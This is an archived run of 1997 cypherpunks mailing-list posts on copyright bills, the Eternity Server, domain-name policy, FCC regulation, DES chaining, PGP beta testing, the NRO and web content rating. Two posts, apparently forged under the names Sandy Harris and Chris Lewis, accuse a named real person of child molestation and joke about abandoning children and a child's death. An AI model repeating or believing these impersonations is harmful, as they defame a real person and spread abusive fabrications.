however, already a civil offense -- as the SPA is always
eager to demonstrate. I wrote about this recently:

  http://cgi.pathfinder.com/netly/opinion/0,1042,1107,00.html

HR2265: Introduced by Rep. Bob Goodlatte on July 25, the
"No Electronic Theft Act" would eliminate the LaMacchia
Exemption. If you give pirated software to a friend
(exchanging "anything of value" including "other copyright
works"), beware. For the first offense, assuming the
software is worth at least $5,000, you get three years in
the Federal pen. If you make more than ten total pirated
copies, you get six years:

  http://thomas.loc.gov/cgi-bin/query/z?c105:H.R.2265:


HR2180: Internet services generally would not be liable for
their customers' copyright infringements, under this bill
introduced on July 17 by Rep. Coble and Rep. Henry Hyde.
Called the "On-Line Copyright Liability Limitation Act,"
it's what ISPs have been demanding for years. Watch major
copyright owners like Microsoft frown at this one. Nobody
in the Senate has introduced companion legislation yet; the
Judiciary Committee had a hearing on ISP liability
scheduled for yesterday but it was cancelled due to Justice
Brennan's death.

  http://thomas.loc.gov/cgi-bin/query/z?c105:H.R.2180:


HR2281: Arguably the most controversial of the copyright
bills introduced so far, this legislation that was introduced
yesterday would enact the World Intellectual Property
Organization copyright treaty the U.S. signed last
December. Problem is, it may go far beyond what the treaty
requires. The bill bans "technology" (including both
hardware and software) that has few uses other than
"circumventing a technological protection measure."

It could impact encryption. "Circumvention" is defined as
"to descramble a scrambled work, to decrypt an encrypted
work." (What does this mean for cryptanalysts?) It also
restricts removing "copyright management information" that
includes titles, author's name, and copyright notice.
Violators would be subject to civil penalties or criminal
prosecution. If you "circumvent" protection or remove
copyright info "for purposes of private financial gain,"
you'll face up to a $1,000,000 fine and 10 years in Federal
prison.

That's serious stuff. And it raises some interesting
questions: what if I include a Reuters article in a
newsletter I sell, and delete the copyright notice? Am I a
Federal felon? Do I have a million dollars? Hmm...

"They have criminalized conduct that is legal under the
current copyright act," says Adam Eisgrau of the American
Library Association. "They have created a new crime that is
completely divorced from copyright infringement." Eisgrau
says this bill isn't required by the WIPO treaty, which
only mandates that countries punish *actions* that
infringe, not *devices* that do.

This legislation has hefty backing: Rep. Henry Hyde (full
committee chair), Rep. Howard Cobel (subcommittee chair),
and Rep. Barney Frank (ranking Democrat on the
subcommittee). Sen. Patrick Leahy, who likely will endorse
this approach, said yesterday that he was studying similar
legislation.

The SPA, naturally, is also supporting this bill. I've attached
their press release below. The text of HR2281 isn't online yet

-Declan

---

SPA press release

WIPO Treaty Implementation Bill Introduced in House
Copyright Protections for Software Greatly Enhanced


(Washington, D.C. -- July 30, 1997)  Rep. Howard Coble (R-N.C.), chairman
of the House Judiciary Subcommittee on Courts and Intellectual Property,
introduced late yesterday the WIPO Copyright and Performances and
Phonograms Treaty Implementation Act (H.R. 2281).  The bill will make
necessary amendments to U.S. law to enable the Senate to ratify new
international intellectual property treaties negotiated last year in
Geneva.  The legislation is largely based on a Clinton administration
proposal delivered by Commerce Secretary William Daley.

SPA was a leading participant in the diplomatic conference last December
that drafted the WIPO copyright treaty, and considers copyright protection
for the Internet to be a major priority.

"SPA supports the objectives of H.R. 2281 and, while further analysis must
be done, believes that the Clinton administration and Rep. Coble have
achieved a workable balance," said Ken Wasch, SPA president.  "H.R. 2281
represents significant accommodations to guard against inadvertent
liability for multi-purpose computers, software and other concerns.  We
hope Congress understands that further concessions would undermine the
measures needed to make gains in the war against software piracy."

"We commend Secretary Daley and his senior advisers for their perseverance
in forging the administration's legislative proposal, Rep. Coble and his
staff for their determined effort to introduce the measure and the bill's
co-sponsors, Reps. Henry Hyde (R-Il.), Barney Frank (D-Mass.) and John
Conyers (D-Mich.).   In putting this bill before Congress, they have
reached an important milestone in establishing the legal framework needed
to protect electronic commerce in computer software."

H.R. 2281 would also prohibit knowingly provide false copyright management
information with intent to induce or conceal software piracy and other
copyright infringement, and make technical changes to bring U.S. law into
accord with the WIPO treaties.

Circumvention of technological copyright protection measures for purposes
of software piracy is a serious problem.  Today, copyright law cannot be
used to stop all kinds of unauthorized circumvention, nor can the making
and selling of technology designed specifically to do so.  These access and
copy control technologies, such as scrambling, encryption and electronic
locks, supplement legal protection in fighting software piracy but do not
solve the problem.  In fact, new problems are emerging on a consistent
basis.

For example, last May Chico-based SciTech Software, Inc. received ransom
demands for $25,000 from an on-line extortionist who threatened to
publicize on the Internet the instructions for disabling technology that
controls the 21-day evaluation period for its graphics utility program,
"Display Doctor."  "The scary thing is not that our protection could be
circumvented.  Dedicated pirates always find a way," said Kendall Bennett,
SciTech engineering director.  What's scary is that they can get the
information on how to circumvent into the hands of millions of casual users
who would normally license our software."

The immediate threat to SciTech has passed, but the blackmailer is still at
large.  Other SPA members have received ransom demands for as much as $1
million. That problem would be addressed by the new WIPO Copyright Treaty,
which requires the U.S. and other countries to make sure that software
companies have effective remedies against circumvention of technical
protection for copyrighted works.   SPA has spent months building consensus
among industry and government on how to do so, and Rep. Coble's bill has
put the issues before Congress.

SPA is the principal trade association for the computer software industry,
representing the leading publishers as well as start-up firms in the
business, home office, consumer entertainment and educational markets.  SPA
supports companies that develop and publish software applications and tools
for use on the desktop, client-server networks and the Internet.  SPA's
1,200 member companies account for 85 percent of U.S. revenue for packaged
and online software.

Contact:        Mark Traphagen, Vice President for Intellectual Property
and Trade                       Policy, SPA, (202) 452-1600, ext. 322.
Steve Bowers, Media Relations Specialist, SPA, (202) 452-1600, ext. 365.


###                     www.spa.org


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Thu, 31 Jul 1997 09:07:45 +0800
To: cypherpunks@cyberpass.net
Subject: Eternity Server 0.04 Available
Message-ID: <19970731010048.19631.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



I am pleased to announce that I have successfully installed Adam Back's
"Eternity Server" on my home page.  This server permits a user to
transparently browse Web content posted to Usenet in encrypted form in
newsgroups like alt.anonymous.messages. 

Eventually, the Eternity Server will also serve web content from a variety
of more permanent repositories, like Altavista and Dejanews.

The Eternity Webspace is comprised of http URLs in a new virtual top level
domain, .eternity.  All documents are PGP signed, and posters may
optionally choose to have their domains indexed in a top level directory
under the URL http://eternity/. 

PGP is used for encryption, and documents may require the user to supply a
password before they can be viewed.  Documents may also be encrypted
with the hash of the URL, so that documents are only accessible to
individuals who already know their names. 

Although I expect most people will want to install their own servers in 
their Unix shell accounts, I will leave my server open for a little while
so that people can play before installing the software.

To try it out, just select the "Eternity Server" link on my homepage

             http://www.zipcon.com/~enoch
 
In order that people have something to browse, I have seeded
alt.anonymous.messages with two virtual web sites.  

The first of these has a URL of http://barney.eternity/ and is a single
document describing different ways one might kill a certain purple
dinosaur.  

The second has a URL of http://boylinks.eternity/ and is a large index
of boy-related resources on the Web, recently made homeless by the
CPAC/Sewer people.  The authors have devoted their best efforts to make
sure this list contains no links to porn or illegal material.  

The latest version of the eternity server may be found at Adam Back's
Web site and is called eternity-0.04.tgz.  You will need Perl 5 and
access to cgi-bin to install it. 

The eternity home page is...

          http://www.dcs.ex.ac.uk/~aba/eternity

Included are the eternity server, written in perl, and a "sitegrabber,"
which can be used to post entire websites to Usenet.

Enjoy...

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Thu, 31 Jul 1997 07:28:26 +0800
To: cypherpunks@Algebra.COM
Subject: Get your house in order or we bulldoze it
Message-ID: <19970730193626.56428@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain



   [1]CNN logo
   [2][ISMAP]-[3]Navigation
   [4]Infoseek/Big Yellow
   [5]Pathfinder/Warner Bros
   Tech banner [6]IBM RS/6000 Technology. From Deep Blue. To Deep Space.
   
                                    rule
                                      
              Internet groups seek consensus on domain name flap
                                       
     July 29, 1997
     Web posted at: 9:24 p.m. EDT (0124 GMT)
     
     WASHINGTON (Reuter) - A diverse array of Internet groups will meet
     Wednesday to try to hash out a consensus on the contentious issue
     of expanding Internet addresses.
     
     The online community has largely avoided government regulation on
     issues like privacy and indecency by forging broad agreements
     relying on private-sector solutions.
     
     But a red-hot feud has broken out over the seemingly mundane
     question of how best to expand the number of network addresses,
     like "cnn.com" or "whitehouse.gov," that direct e-mail, Web surfing
     and all other Internet activity.
     
     The mess is already drawing substantial attention from the
     government.
     
     The Clinton administration has formed an inter-agency task force to
     examine the address issue, and in June the Commerce Department
     asked for suggestions on how the system could be fixed. Earlier
     this month, the Justice Department confirmed it was conducting an
     antitrust probe into address registrations.
     
     The Commerce Department's comment period ends next month, so with
     further government involvement imminent, several Internet groups
     outside of the dispute arranged two days of meetings this week at a
     Washington hotel to bring together the warring factions.
     
     "If we can lower some of the divisiveness and get people talking in
     a constructive way, we'll feel we've accomplished something," said
     Harris Miller, president of the Information technology Association
     of America, which is co-sponsoring the meeting.
     
     "We hope at the end of the conference that there is a constructive
     dialogue under way," Miller said, noting that his group has no
     official position on the Internet address question.
     
     Currently, all Internet addresses end with two or three letter
     designation known as a "top-level domain."
     
     Although each country has its own top-level domain, many addresses
     are registered in a handful of generic domains including ".com" for
     commercial sites, ".edu" for schools and ".org" for non-profit
     groups.
     
     Network Solutions Inc. of Herndon, Virginia, has an exclusive
     contract from the National Science Foundation to register addresses
     in the most popular generic top-level domains. But the agreement
     expires in March 1998, and the science agency has said the contract
     will not be renewed.
     
     Available addresses in the popular domains are shrinking fast,
     leading to bidding wars over desirable names and, in some cases,
     lawsuits by trademark holders claiming infringement.
     
     Network Solutions has also been criticized for charging $100 for a
     two-year registration, and a recent computer error by the firm
     scrambled the 'Net for hours and highlighted the vulnerability of
     the current system.
     
     In February, a group of traditional Internet standards-setting
     bodies agreed on a plan to add seven new top-level domains and add
     up to 28 competing registries. The plan gained the support of some
     major players, including MCI Communications Corp, but failed to
     garner the backing of online services such as America Online Inc.
     
     The plan is still expected to form the basis of an eventual
     compromise, but Network Solutions has its own plan, as does a group
     of small Internet Service providers known as the Enhanced Domain
     Name Service.
     
     Copyright 1997 [7]Reuters Limited. All rights reserved.
     
References

   1. http://cnn.com/index.html
   2. http://cnn.com/MAPS/9707/navs/basic.map
   3. LYNXIMGMAP:http://cnn.com/TECH/9707/29/internet.addresses.reut/index.html#map
   4. http://cnn.com/MAPS/9704/explore.map
   5. http://cnn.com/MAPS/9704/spotlight.map
   6. http://www-cgi.cnn.com/cgi-bin/redir?SpaceID=61&AdID=1974&URL=http://www.rs6000.ibm.com
   7. http://cnn.com/interactive_legal.html#Reuters





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 31 Jul 1997 08:03:01 +0800
To: cypherpunks@toad.com
Subject: Rep. White introduces Internet Protection Act
Message-ID: <v0300780ab00583765cb0@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



I admit I'm jaded after spending too much time -- which
in my case, is about three years -- in Washington.
I've seen too much special interest lobbying, too many
soft money favors, and (of course) a veritable slew of
unconstitutional legislation.

But sometimes a bill comes along that warms my heart.
It happened today, when Rep. Rick White (R-Wash)
introduced the Internet Protection Act to block the
FCC from regulating the Net. (Though I recall it's
been watered-down from the one he tried to pass last
year: http://www.hotwired.com/netizen/96/40/index1a.html )
Joining White in introducing the bill was the chair of
the House Telecom Subcommittee, Billy Tauzin (R-LA).

It stresses that industry, not government, should grow
the Net. Besides barring the FCC from regulating
Internet providers, the bill also amends the
Telecommunications Act to let the agency back away from
offline regulation if a comparable service exists
online.

This is important. After all, the FCC's charter gives
it jurisdiction over all electronic communications --
though the commission has opted not to exercise its
authority in cyberspace. A 1980 FCC directive dubbed
"Computer II" said the commission would regulate only
"basic" telephone services, not providers of "enhanced
services." That marked a reprieve for the Net, for the
"enhanced service provider" category includes
everything from voice mail service to alarm monitoring
firms to Internet providers. (That's why we don't pay
per-minute charges to log on today, much to the
chagrin of Bell Atlantic's lobbyists -- who tried in
1983 and 1996 to pass such a rule and met with a
crushing defeat each time.) Still, White's bill is
crucial since future commissioners may not display
this laudable regulatory forbearance.

Bob Corn-Revere, former FCC chief counsel, echoes this
in his recent book called "Rationales &
Rationalizations." He says: "The culture of regulation
already is marshaling its forces for a multi-faceted
assault on Internet freedom." After all, key
legislators like Rep. John Dingell (D-Mich) and Rep.
Edward Markey (D-Mass) have opposed legislation that
would exempt the Net from FCC content regulation.
Markey has said the Net should be regulated the
same way as other media, and Dingell wants to protect
the FCC's ability to "apply local [cable television]
franchising requirements to the Internet." Let's not
even talk about what the religious right would like
to do...

"Regardless of ideological differences between
liberals and conservatives, however, there really is
only one wish -- to control the medium," Corn-Revere
concludes. And he's right.

-Declan

An excerpt from the Internet Protection Act:

"LIMITATIONS ON COMMISSION AUTHORITY -- Except as
expressly provided in this section, noting in this Act
shall be construed to grant authority to the
Commission with respect to --

(A) the rates, charges, practices, classifications,
facilities, or services for or in connection with the
provision of Internet information services to
customers;

(B) technical specifications or standards for the
provision of Internet information services; or

(C) any other regulation of the provision of Internet
information services"



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Thu, 31 Jul 1997 04:30:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cryptography Question (I hope it's not off-topic on this list)
In-Reply-To: <199707281537.RAA09388@basement.replay.com>
Message-ID: <5ro7ru$f5i@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <Pine.LNX.3.91.970728211016.884C-100000@fatmans.demon.co.uk>,
Paul Bradley  <paul@fatmans.demon.co.uk> wrote:
>
>
>>   e.g. - If only 56-bit encryption becomes legal, is there a method
>> of *chaining* several passes of 48-bit encryption which would make it
>> just as hard to break as 96/192/384-bit (etc.) encryption?
>
>This is a similar idea to implementing, say DES, with independent 
>subkeys. Layering encryption in this manner makes the plaintext more 
>difficult to determine providing that:
>
>a. The involved cryptosystem is not a group, or does not posess strong 
>group like properties (eg. There are no large subgroups).
>
>b. Independent keys are used for each encryption
>
>For a good example of a particular case of your idea see 3DES

Careful, here.  3DES gives us a benefit because we can chain crypto at
the algorithm level.  Chaining several passes of DES may not give this
benefit if all we have is an opaque program that block-pads the input
and does raw DES on that.  For example (the values are imaginary),

DES("foo") = DES_raw("foo\x05\x05\x05\x05\x05") = "f983hgls"
DES(DES("foo")) = DES("f983hgls") =
   DES_raw("f983hgls\x08\x08\x08\x08\x08\x08\x08\x08") = "d84koqw78452398f"
DES(DES(DES("foo"))) = DES("d84koqw78452398f") =
   DES_raw("d84koqw78452398f\x08\x08\x08\x08\x08\x08\x08\x08") =
   "ecy34895y34057834985634y";

whereas 3DES("foo") = 3DES_raw("foo\x05\x05\x05\x05\x05") = "ecy34895"

To break DES(DES(DES("foo"))), break the outer DES until you find
"\x08\x08\x08\x08\x08\x08\x08\x08" at the end of the "plaintext" (actually,
the padded value of DES(DES("foo"))).  Repeat until you get "foo".

[It is left as an exercise to the reader to determine why you might not
be able to merely chop the last 8 bytes off the output of the second and
third DES iterations to get around this problem.]

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PGP Beta Team <beta@pgp.com>
Date: Thu, 31 Jul 1997 12:16:22 +0800
To: Coderpunks <pgp-users@joshua.rivertown.net>
Subject: PGP Linux 5.0b11 feedback?
Message-ID: <v04000813b005b398a39a@[205.180.136.26]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

PGP for Personal Privacy 5.0b11 Linux is available for public beta in the
US and Canada via: <http://www.pgp.com/products/50-linux-beta.cgi> and we'd
appreciate expert feedback.

Should you by some miracle find an actual bug ;) please report it to
<PGPlinuxbeta@pgp.com>, which is read by those responsible for developing
and testing this version. It helps us if the first sentence or two
summarizes the problem, and if you include details on how we can reproduce
it in SQA, including any hardware/OS configuration info you think relevant.

If you have a general [comment] or [feature] request, those are welcome
too, but please prepend those meta-tags in the subject so we can easily
separate them from a [bug] that needs squashing. The 5.0 code is
feature-frozen, but we will definitely put all good ideas in the hopper for
the next rev.

Thanks!

   dave


__________________________________________________________________________
 Dave Del Torto      tel: +1.415.596.1781        Pretty Good Privacy, Inc
 Beta Test Mgr.      fax: +1.415.631.1033       555 Twin Dolphin Dr. #570
 <beta@pgp.com>      web: http://beta.pgp.com     Redwood Shores CA 94065
 PGP Key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x48824435


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM+AQO1fGZ2VIgkQ1EQKKdQCg8uQtoL9ZJZtwlRO1i0zEJ63bGjQAoPAu
XafDxSNHEt3BwCdE/CjiPdEI
=rbpv
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Harris <sandy@storm.ca>
Date: Thu, 31 Jul 1997 12:11:00 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707301555.LAA00073@mail.storm.ca>
Message-ID: <33E0073C.4896@storm.ca>
MIME-Version: 1.0
Content-Type: text/plain



> Dr.Dimitri Vulis KOTM <dlv@bwalk.dm.com> writes:
> 
> > I ask everyone on these two forums to inform Northern Telecom Forgers /
> > Bell North Forgery Research / Entrust that we will boycott their
> > "security" products as long they continue to employ the child-molesting
> > pedophile Chris R. Lewis - the biggest forger on Usenet.

  Chris Lewis' sexual predilictions are of no concern in the issue of
an individual's right to use any means necessary to force their own
censorous values on the rest of the world.
  Despite what Chris Lewis did to my six year-old niece, I support
his right to destroy the creations of those with whom he disagrees.

  Northern Telecom, Bell Northern and Entrust take the position that
employing persons who openly admit to forgery and censorship should
in no way reflect badly on their production of a product in the
security market.
  Entrust is confident that Chris Lewis' forgery, fraud and deceit
in no way affects the level of trust and confidence that people should
have in Entrust security products. After all, people lie, cheat and
steal all of the time. Why should those who work on security products
be held to a higher standard?

  What this anti-forgery scum, Dimitri, is actually upset about is 
Chris Lewis cancelling spam. He calls that "forgery" because the 
spammer's name goes in the sender field of the cancel message. Nonsense.
  If someone were to put my name in the sender field of email, I would
certainly not call that "forgery," even if they used email sent in my
name to suggest that I participated in the sexual acts Chris Lewis
committed with my niece. (BTW, the charges against me were dropped
after her unexpected death.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Thu, 31 Jul 1997 10:29:12 +0800
To: Mike Duvos <enoch@zipcon.net>
Subject: Re: Eternity Server 0.04 Available
In-Reply-To: <19970731010048.19631.qmail@zipcon.net>
Message-ID: <Pine.LNX.3.95.970730221808.1747L-100000@devel.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 30 Jul 1997, Mike Duvos wrote:

> Eventually, the Eternity Server will also serve web content from a variety
> of more permanent repositories, like Altavista and Dejanews.

How many other major repositories are there? I still have faith in Dejanews,
but have serious doubts concerning the permanence and expanse of the
Alta Vista database. Their Web index, at least, has not grown at the same
pace as Web documents, and seeminly arbitrary sites trigger their "spam
filter," where further URLs from that domain are refused.

>From <http://www.searchenginewatch.com/avsize.htm>:

"John Pike, webmaster of the Federation of American Scientists web site
responded to the article, complaining that he found only 600 of 6,000 pages
from his web site to be indexed by the Alta Vista.

"Pike's response went on to detail the a message he received from Alta Vista
regarding this. He was advised that 600 pages were probably the most he'd
see for any domain. He was also given the example of Geocities, which is a
popular site that provides web space for its members. He was told that
although Geocities has over 300,000 members (and thus at least 300,000
potential web pages), only 300 pages from the domain had been indexed."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Chris Lewis <clewis@ferret.ocunix.on.ca>
Date: Thu, 31 Jul 1997 12:46:15 +0800
To: tzeruch@ceddec.com
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <97Jul30.141811edt.32257@brickwall.ceddec.com>
Message-ID: <33E01637.422F@ferret.ocunix.on.ca>
MIME-Version: 1.0
Content-Type: text/plain



tzeruch@ceddec.com wrote:
> On Wed, 30 Jul 1997, Michael C Taylor wrote:
> > Entrust Technologies (www.entrust.com) has made Solo available for
> > download, free for 30-day evaluation & edu/non-profit. For Win95/NT.
> > A mere $49 Cdn (~35 US) for commerical usage...
> >
> > Solo uses 128-bit encryption, which is CAST-128, the royality-free
> > algorithm invented at Entrust/NorTel. It also uses 1024-bit RSA public-key
> > cryptography and has DES, Triple DES available.
> 
> It would be interesting to know how they managed to do it.  The fine print
> in the license says it cannot be exported from the US and Canada without a
> license (which a second press release says they have, but doesn't say they
> had to do anything to the program in order to obtain it).

  Entrust didn't have to change the program in order to get permission
for export of the product because it was designed with a built-in back
door for the use of Entrust employees, anyway. 
  Thus it was only necessary to drop off the back door password with the
night janitor at the federal building in order to have export approval
by
early the next morning.

> PGP 5 uses CAST (and 3DES and IDEA), with DH/DSA/SHA (or MD5 or RIPEM, and
> with an RSA backward mode).  Does anyone know which hash algorithm
> Entrust/Solo uses?

  Unfortunately, the person who designed and developed that particular
part of the software has left the company in order to seek treatment for
his drug and alcohol abuse problems. (I always wondered why he giggled
every time someone said the word "hash.")
  I am confident that his work in this area was satisfactory and Entrust
has every intention to hire another programmer to test the program if
problems should arise in the future that affect our profit margin.

  I would be happy to answer any other questions you may have about the
Entrust product, but right now the children's crying is really getting
on my nerves, so I'd better go drop them off in the woods near their
home (if I can remember where it was I picked them up).

---
Chris Lewis
"Forging 'In Good Faith'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 31 Jul 1997 10:53:50 +0800
To: Adam Back <jai@mantra.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <3.0.2.32.19970730124407.0098f250@caprica.com>
Message-ID: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 02:03 AM 7/31/97 +0100, Adam Back wrote:

>It's censorship.  If you didn't write it, you have no business
>cancelling it.

Have you considered the actions of the news-admins that are auto-canceling 
anything with more than a certain number of cross-posts, or posts with "Make 
Money Fast" in the subject? (I think excessive posts to certain newsgroups 
may also fall into this category.  I think the big 6 get auto-covered by 
this..)

:-)  

"Make Money Fast" are killed because they're illegal scams in the US and I 
think in most of the world.

My question is, are you including these in the above comment, or not?

Ryan
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9/6ODc3ytqHnNyNAQGttQQAjcDjaK9C+mTLWGq3Df+jBHHF5tTq7L3w
gSlq5u5O4uOkAphDoGDWax66LKnNHKYX7swot8/VyAi13lsDTq+yVdoXFfs+AEWE
VCm3M5Kz4uB1yr8bRcAzhXeO2WqC+fMP+qqUf/wXIBwVfkylogrkUHwD55pKEl2L
ZLoSBVKPrE8=
=zgFt
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 31 Jul 1997 11:12:20 +0800
To: cypherpunks@toad.com
Subject: NRO: Risky Methods of Data Exploitation
Message-ID: <1.5.4.32.19970731024951.00734dcc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Wonder what's meant by "risky methods" NRO envisions in the 
article below by:

     "Using advanced and potentially technologically risky
     methods of exploiting data to learn more from it."

----------

     30 July 1997, Jane's Defence Weekly

     NRO opens up to new satellite system ideas 

     For the first time in its history, the once super-secret 
     National Reconnaissance Office (NRO) is considering whether
     commercial space technology can satisfy its `customer'
     requirements for reconnaissance data needed by the DoD and
     the intelligence community. 

     In existence for over 30 years, the NRO is coming in from
     the cold for one clear reason: acquisition and operation of US
     reconnaissance satellites continues to account for most of the
     $28 billion in annual spending by the US intelligence
     community. Congress wants to find ways to trim the bill by
     encouraging the NRO to adopt commercial technology and
     move towards launching smaller, less expensive satellites. 

     The question of whether the NRO should continue to exist
     was an open debate last year. A panel chaired by Adm David
     Jeremiah, former vice chairman of the Joint Chiefs of Staff,
     concluded that the unique partnership between the Director of
     Central Intelligence and the Defense Secretary to build,
     operate and manage space-based intelligence systems should
     continue in the form of the NRO. 

     "There are important inter-relationships between the NRO and
     DoD space activities in areas such as launch technology,
     industrial base and communications, and the NRO needs to
     use DoD systems such as the Global Positioning System as
     well as the DoD needs to use products from NRO systems,"
     the report said. However the panel also emphasised that all of
     the relationships between the NRO and the Pentagon need
     clarification. 

     NRO Director Keith Hall is driving much of the process at the
     agency towards opening the door to commercial technology
     and improving the agency. "I do not think that a customer
     that needs a picture to answer a key question to make an
     operational decision cares whether that picture comes from
     one of my satellites, an airplane or a commercial sensor
     system," he said. "If that means a commercial system can
     provide some of that, I am entirely for it." 

     A major vehicle for operational change at the NRO is the
     Future Imagery Architecture (FIA) programme aimed at
     fielding a next-generation space-based imagery intelligence
     (IMINT) system. "We have said to our FIA vendors that they
     are free to propose to us a mixed architecture of government
     systems and commercial systems," said Hall, noting that such
     a notion is indeed a first for the agency. "We have not
     heretofore been involved at all in the acquisition of
     commercial imagery." 

     The FIA may set a precedent for future reconnaissance
     acquisition. In mid-1996, the NRO and the old Central
     Imagery Office, now part of the NIMA, concluded an initial
     `Phase A' of an architecture study which detailed the
     attributes of a future imagery system most wanted by NRO
     customers. It resulted in the identification of more than 20
     varying performance levels. 

     The NRO began what it calls the `Phase B' concept
     programme in May last year. It is working with six
     contractor teams and the NIMA to determine "what utility
     would those differences in performance have," said Hall, who
     became director in March. 

     The NRO expects to publish a final `Phase C' solicitation to
     industry with detailed performance specifications by early
     next year. Hall said that the solicitation will have "objective
     requirements and the relative value the government places on
     them". 

     Contractors will not be told precisely how to meet those
     requirements but only the performance objectives. `Phase C'
     will be separated into a satellite segment and an integration
     and ground segment. "We have some vendors that are bidding
     on all segments so theoretically a single contractor could win
     it all," said Hall. A final contract award is expected late next
     year with the first satellite system due to be flying early in the
     next decade. 

     Hall also said that smaller satellites will be considered in the
     FIA as well as other constellations. Although they present
     some technical challenges, constellations of smaller satellites
     mean that more satellites will be on orbit, leading to more
     frequent `revisits' over targets and less overall system
     degradation if one satellite fails. 

     The FIA programme has already led to some innovation. The
     small Surveillance, Targeting and Reconnaissance Satellite
     (Starlite) being proposed by the Defense Advanced Research
     Projects Agency (DARPA) for tactical reconnaissance could
     be considered as a future imagery architecture option.
     However, it appears more likely it will become a technology
     demonstration. 

     DARPA's proposal underscores the dilemma of how to draw
     a distinction between reconnaissance - an NRO mission - and
     surveillance, which traditionally has been done by the US Air
     Force in monitoring weather and missile launches for
     example. "We will do more joint programmes with multiple
     sensors," predicted Maj Gen Robert Dickman, the DoD space
     architect. 

     As the NRO and DoD grow closer, Hall believes it is
     important to acknowledge that commercial systems can only
     go so far in meeting the precise resolution and product
     delivery requirements needed by the IC. 

     Aside from fielding the FIA, Hall has set a number of other
     objectives for the agency, including increasing funding for
     research and development by re- allocating existing funds. His
     five mission objectives in research and development are: 

     - Developing new sources and methods, such as collection
     and processing of information against hard targets; 

     - Orders of magnitude improvements in efficiency and
     effectiveness of NRO systems; 

     - Using advanced and potentially technologically risky
     methods of exploiting data to learn more from it; 

     - Using space-based solutions to address "intractable"
     intelligence problems such as monitoring chemical and
     biological warfare facilities; 

     - Improving "space services" by assisting the US Defense
     Department with its space mission when possible. 

     -----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 31 Jul 1997 09:10:32 +0800
To: love@cptech.org
Subject: Third party rating services NOT self-rating (was Re: Yet another self-labeling system (do you remember -L18?))
In-Reply-To: <33DF9522.3985417E@cptech.org>
Message-ID: <199707310045.BAA27618@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




James Love <love@cptech.org> writes:
> Paul Bradley wrote:
> > > [Pissing, Fisting and beastiality!]
> > >
> > > 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)
> > 
> > We can clearly come to no agreement here as I cannot see any material
> > listed above which would be harmful in any way to a viewer, child or
> > not.
> 
>    Paul. Do you *have* any children?  Jamie

I have children.  My views are generally liberal.  I could probably
come up with a few things I think would not be appropriate
viewing/reading at this stage (4 year old?)

However, and this appears to be a point being missed here, it is
pretty much irrelevant what I think should be appropriate for my
children, because the person you are proposing to rate the site is the
site's author.  It is inevitable that the site's author will have
different views about what is suitable for children than any
particular parent.  Pick 10 people, you'll have 10 different sets of
what is suitable.

Even if government were to insist that everyone self rated, it would
be damn near meaningless.

If you as a parent are too lazy to observe what your children read,
you could use a third party rating service.  I believe that there are
several on the market right now.

You should attempt to evaluate the rating services to see what they
block.

Perhaps you would go on the advice of a ratings service rating
service.  Perhaps you would obtain demonstration versions and form
your own opinion.

Clearly government mandated self-rating is moving towards thoughtcrime.

Third party rating services are services.  If you don't like the
service, don't buy it, or start up your self in competition.

Now where does the need for government come into this picture?

General rhetorical question: indeed why have governments at all?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 31 Jul 1997 09:20:00 +0800
